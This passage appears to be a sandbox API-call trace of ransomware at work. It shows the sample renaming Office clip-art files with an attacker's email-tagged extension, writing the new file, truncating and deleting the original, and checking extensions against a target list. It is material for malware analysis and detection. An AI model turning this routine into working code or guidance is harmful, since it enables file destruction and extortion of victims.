(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.465] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf")) returned 1 [0310.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0310.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0310.466] lstrlenW (lpString=".doc") returned 4 [0310.466] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.466] lstrlenW (lpString=".docx") returned 5 [0310.466] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0310.466] lstrlenW (lpString=".pdf") returned 4 [0310.467] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.467] lstrlenW (lpString=".xls") returned 4 [0310.467] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.467] lstrlenW (lpString=".xlsx") returned 5 [0310.467] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0310.467] lstrlenW (lpString=".ppt") returned 4 [0310.467] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0310.467] lstrlenW (lpString=".zip") returned 4 [0310.467] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.467] lstrlenW (lpString=".rar") returned 4 [0310.467] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.467] lstrlenW (lpString=".bz2") returned 4 [0310.467] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.467] lstrlenW (lpString=".7z") returned 3 [0310.467] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0310.467] lstrlenW (lpString=".dbf") returned 4 [0310.467] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0310.467] lstrlenW (lpString=".1cd") returned 4 [0310.467] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0310.467] lstrlenW (lpString=".jpg") returned 4 [0310.467] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.468] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.468] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0310.469] GetLastError () returned 0x0 [0310.469] ReadFile (in: hFile=0x384, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x1a88, lpOverlapped=0x0) returned 1 [0310.476] WriteFile (in: hFile=0x318, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1a90, lpOverlapped=0x0) returned 1 [0310.477] ReadFile (in: hFile=0x384, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0310.477] WriteFile (in: hFile=0x318, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0310.478] SetEndOfFile (hFile=0x318) returned 1 [0310.478] CloseHandle (hObject=0x318) returned 1 [0310.478] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.478] SetEndOfFile (hFile=0x384) returned 1 [0310.479] CloseHandle (hObject=0x384) returned 1 [0310.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.479] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf")) returned 1 [0310.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0310.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0310.480] lstrlenW (lpString=".doc") returned 4 [0310.480] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.480] lstrlenW (lpString=".docx") returned 5 [0310.480] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0310.480] lstrlenW (lpString=".pdf") returned 4 [0310.480] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.480] lstrlenW (lpString=".xls") returned 4 [0310.480] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.480] lstrlenW (lpString=".xlsx") returned 5 [0310.480] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0310.480] lstrlenW (lpString=".ppt") returned 4 [0310.481] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0310.481] lstrlenW (lpString=".zip") returned 4 [0310.481] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.481] lstrlenW (lpString=".rar") returned 4 [0310.481] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.481] lstrlenW (lpString=".bz2") returned 4 [0310.481] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.481] lstrlenW (lpString=".7z") returned 3 [0310.481] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0310.481] lstrlenW (lpString=".dbf") returned 4 [0310.481] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0310.481] lstrlenW (lpString=".1cd") returned 4 [0310.481] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0310.481] lstrlenW (lpString=".jpg") returned 4 [0310.481] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.780] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.780] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0310.782] GetLastError () returned 0x0 [0310.782] ReadFile (in: hFile=0x324, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x6890, lpOverlapped=0x0) returned 1 [0310.786] WriteFile (in: hFile=0x34c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x68a0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x68a0, lpOverlapped=0x0) returned 1 [0310.787] ReadFile (in: hFile=0x324, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0310.787] WriteFile (in: hFile=0x34c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0310.788] SetEndOfFile (hFile=0x34c) returned 1 [0310.788] CloseHandle (hObject=0x34c) returned 1 [0310.788] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.788] SetEndOfFile (hFile=0x324) returned 1 [0310.789] CloseHandle (hObject=0x324) returned 1 [0310.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.789] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf")) returned 1 [0310.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0310.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0310.790] lstrlenW (lpString=".doc") returned 4 [0310.790] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.790] lstrlenW (lpString=".docx") returned 5 [0310.790] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0310.790] lstrlenW (lpString=".pdf") returned 4 [0310.790] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.791] lstrlenW (lpString=".xls") returned 4 [0310.791] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.791] lstrlenW (lpString=".xlsx") returned 5 [0310.791] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0310.791] lstrlenW (lpString=".ppt") returned 4 [0310.791] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0310.791] lstrlenW (lpString=".zip") returned 4 [0310.791] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.791] lstrlenW (lpString=".rar") returned 4 [0310.791] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.791] lstrlenW (lpString=".bz2") returned 4 [0310.791] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.791] lstrlenW (lpString=".7z") returned 3 [0310.791] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0310.791] lstrlenW (lpString=".dbf") returned 4 [0310.791] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0310.791] lstrlenW (lpString=".1cd") returned 4 [0310.791] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0310.791] lstrlenW (lpString=".jpg") returned 4 [0310.791] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.792] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.792] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0310.793] GetLastError () returned 0x0 [0310.793] ReadFile (in: hFile=0x324, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x121c, lpOverlapped=0x0) returned 1 [0310.803] WriteFile (in: hFile=0x34c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1220, lpOverlapped=0x0) returned 1 [0310.804] ReadFile (in: hFile=0x324, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0310.804] WriteFile (in: hFile=0x34c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0310.804] SetEndOfFile (hFile=0x34c) returned 1 [0310.804] CloseHandle (hObject=0x34c) returned 1 [0310.805] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.805] SetEndOfFile (hFile=0x324) returned 1 [0310.806] CloseHandle (hObject=0x324) returned 1 [0310.806] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.806] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf")) returned 1 [0310.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0310.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0310.807] lstrlenW (lpString=".doc") returned 4 [0310.807] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.807] lstrlenW (lpString=".docx") returned 5 [0310.807] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0310.807] lstrlenW (lpString=".pdf") returned 4 [0310.807] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.807] lstrlenW (lpString=".xls") returned 4 [0310.807] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.807] lstrlenW (lpString=".xlsx") returned 5 [0310.807] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0310.807] lstrlenW (lpString=".ppt") returned 4 [0310.807] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0310.807] lstrlenW (lpString=".zip") returned 4 [0310.807] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.807] lstrlenW (lpString=".rar") returned 4 [0310.807] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.807] lstrlenW (lpString=".bz2") returned 4 [0310.807] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.807] lstrlenW (lpString=".7z") returned 3 [0310.807] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0310.808] lstrlenW (lpString=".dbf") returned 4 [0310.808] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0310.808] lstrlenW (lpString=".1cd") returned 4 [0310.808] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0310.808] lstrlenW (lpString=".jpg") returned 4 [0310.808] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.808] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.808] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0310.809] GetLastError () returned 0x0 [0310.809] ReadFile (in: hFile=0x324, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x2044, lpOverlapped=0x0) returned 1 [0310.817] WriteFile (in: hFile=0x34c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x2050, lpOverlapped=0x0) returned 1 [0310.818] ReadFile (in: hFile=0x324, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0310.818] WriteFile (in: hFile=0x34c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0310.819] SetEndOfFile (hFile=0x34c) returned 1 [0310.819] CloseHandle (hObject=0x34c) returned 1 [0310.819] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.819] SetEndOfFile (hFile=0x324) returned 1 [0310.820] CloseHandle (hObject=0x324) returned 1 [0310.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.820] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf")) returned 1 [0310.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0310.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0310.822] lstrlenW (lpString=".doc") returned 4 [0310.822] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.822] lstrlenW (lpString=".docx") returned 5 [0310.822] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0310.822] lstrlenW (lpString=".pdf") returned 4 [0310.822] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.822] lstrlenW (lpString=".xls") returned 4 [0310.822] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.822] lstrlenW (lpString=".xlsx") returned 5 [0310.822] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0310.822] lstrlenW (lpString=".ppt") returned 4 [0310.822] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0310.822] lstrlenW (lpString=".zip") returned 4 [0310.822] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.822] lstrlenW (lpString=".rar") returned 4 [0310.822] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.822] lstrlenW (lpString=".bz2") returned 4 [0310.822] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.822] lstrlenW (lpString=".7z") returned 3 [0310.822] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0310.822] lstrlenW (lpString=".dbf") returned 4 [0310.822] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0310.822] lstrlenW (lpString=".1cd") returned 4 [0310.822] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0310.823] lstrlenW (lpString=".jpg") returned 4 [0310.823] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.825] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.826] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0310.827] GetLastError () returned 0x0 [0310.827] ReadFile (in: hFile=0x37c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x1574, lpOverlapped=0x0) returned 1 [0310.883] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1580, lpOverlapped=0x0) returned 1 [0310.884] ReadFile (in: hFile=0x37c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0310.884] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0310.884] SetEndOfFile (hFile=0x370) returned 1 [0310.884] CloseHandle (hObject=0x370) returned 1 [0310.884] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.884] SetEndOfFile (hFile=0x37c) returned 1 [0310.885] CloseHandle (hObject=0x37c) returned 1 [0310.885] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.886] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf")) returned 1 [0310.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0310.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0310.887] lstrlenW (lpString=".doc") returned 4 [0310.887] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.887] lstrlenW (lpString=".docx") returned 5 [0310.887] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0310.887] lstrlenW (lpString=".pdf") returned 4 [0310.887] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.887] lstrlenW (lpString=".xls") returned 4 [0310.887] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.887] lstrlenW (lpString=".xlsx") returned 5 [0310.887] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0310.887] lstrlenW (lpString=".ppt") returned 4 [0310.887] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0310.887] lstrlenW (lpString=".zip") returned 4 [0310.887] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.887] lstrlenW (lpString=".rar") returned 4 [0310.887] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.888] lstrlenW (lpString=".bz2") returned 4 [0310.888] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.888] lstrlenW (lpString=".7z") returned 3 [0310.888] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0310.888] lstrlenW (lpString=".dbf") returned 4 [0310.888] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.888] 